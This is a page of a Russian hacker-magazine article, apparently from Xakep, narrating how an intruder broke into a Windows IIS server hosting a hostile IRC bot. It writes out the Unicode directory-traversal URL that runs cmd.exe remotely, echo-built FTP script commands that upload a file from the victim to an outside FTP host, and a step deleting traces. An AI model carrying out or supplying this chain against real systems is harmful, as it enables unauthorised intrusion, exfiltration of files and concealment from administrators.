Интернет под угрозой военных ботов!

Master-lame-master

Xakep, номер #056, стр. 056-050-2


В поисках приключений

Может быть, все не так сложно, как кажется на первый взгляд? С этими словами, наш герой хуизнул (/whois - команда в IRC, позволяющая узнать инфу о собеседнике ;)) бота, и решил немного просканить сервак, на котором он сидел. Его любимый сканер nmap показал, что на машине крутится винда с единственным открытым 80 портом (команда nmap -O ip-address позволяет определить версию операционки). Интуиция подсказывала, что IIS'ка, обслуживающая http, была дырявая. Набрав в Гугле "unicode bug", нарушитель сетевого порядка нашел ссылку на багтрак с описанием уязвимости. Там и находился эксплоит для бажных серверов (можно поизучать для общего развития - http://www.securityfocus.com/data/vulnerabilities/exploits/unicodecheck.pl). Скачал, запустил с параметром адреса машины и получил положительный ответ: на серваке вертелась дырявая IIS. За ссылкой http://ip-address/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir c:\ хранился список файлов, находящихся в корне диска c:\. Рассказывать про Unicode-bug сейчас просто глупо, об этой уязвимости не раз упоминалось в нашем журнале, да и вообще инфу по этой ошибке можно найти на любом багтраке. Поэтому саму ошибку опустим, а лучше посмотрим, что же дальше делал взломщик.

1. copy c:\winnt\system32\cmd.exe c:\cmd1.exe. Интерпретатор cmd.exe не позволит выполнить echo, если находится в родном каталоге.

2. c:\cmd1.exe /c tasklist.

Список процессов на удаленной машине выдал странноватый handle lb-1235.exe. За ним и скрывался вражеский бот. Хакер долго копался на сервере, перерыл множество каталогов и в конце концов нашел место обитания бота. Следующим его шагом был слив бота на FTP-сервер ftp.server.net. Это можно было выполнить двумя путями: командой tftp (ей требовалось наличие демона Trivial FTPD на NT-машине; доступа на такой сервер у хакера не было), либо обычной командой ftp без интерактивного режима (через сценарий). Взломщик выбрал второй вариант. Он шустренько набрал следующий блок команд:

3. c:\cmd1.exe /c @echo open ftp.server.net > c:\ftp.ini

c:\cmd1.exe /c @echo user ftp >> c:\ftp.ini

c:\cmd1.exe /c @echo pass ftp >> c:\ftp.ini

c:\cmd1.exe /c @echo put c:\winnt\deep-dir\with-bot.exe bot.exe >> c:\ftp.ini

c:\cmd1.exe /c @echo bye >> c:\ftp.ini

c:\cmd1.exe /c ftp -i -s:c:\ftp.ini

Опция -i отключает все интерактивные вопросы, а параметру -s передается имя сценария.

Сервер сдался. Он выполнил сценарий, загрузив бота на FTP-демон.

4. c:\cmd1.exe /c del c:\ftp.ini c:\cmd1.exe - заметание следов.

Анализ кода

Слив военный экземпляр с сервера, хакер стал изучать бота. Как оказалось, он скачал обычный самораспаковывающийся архив. Чтобы ненароком не заразиться, взломщик переименовал расширение файла в .zip, и открыл его стандартным менеджером. Выяснилось, что бот был написан на mIRC-скриптах и активировался обычным мирком, окно которого затем скрывалось внешней программой. В самом архиве содержался mIRC, скрывалка окон, конфиг бота и около 10 скриптов, подгружавшихся в мирк при его запуске.

Назад на стр. 056-050-1  Содержание  Вперед на стр. 056-050-3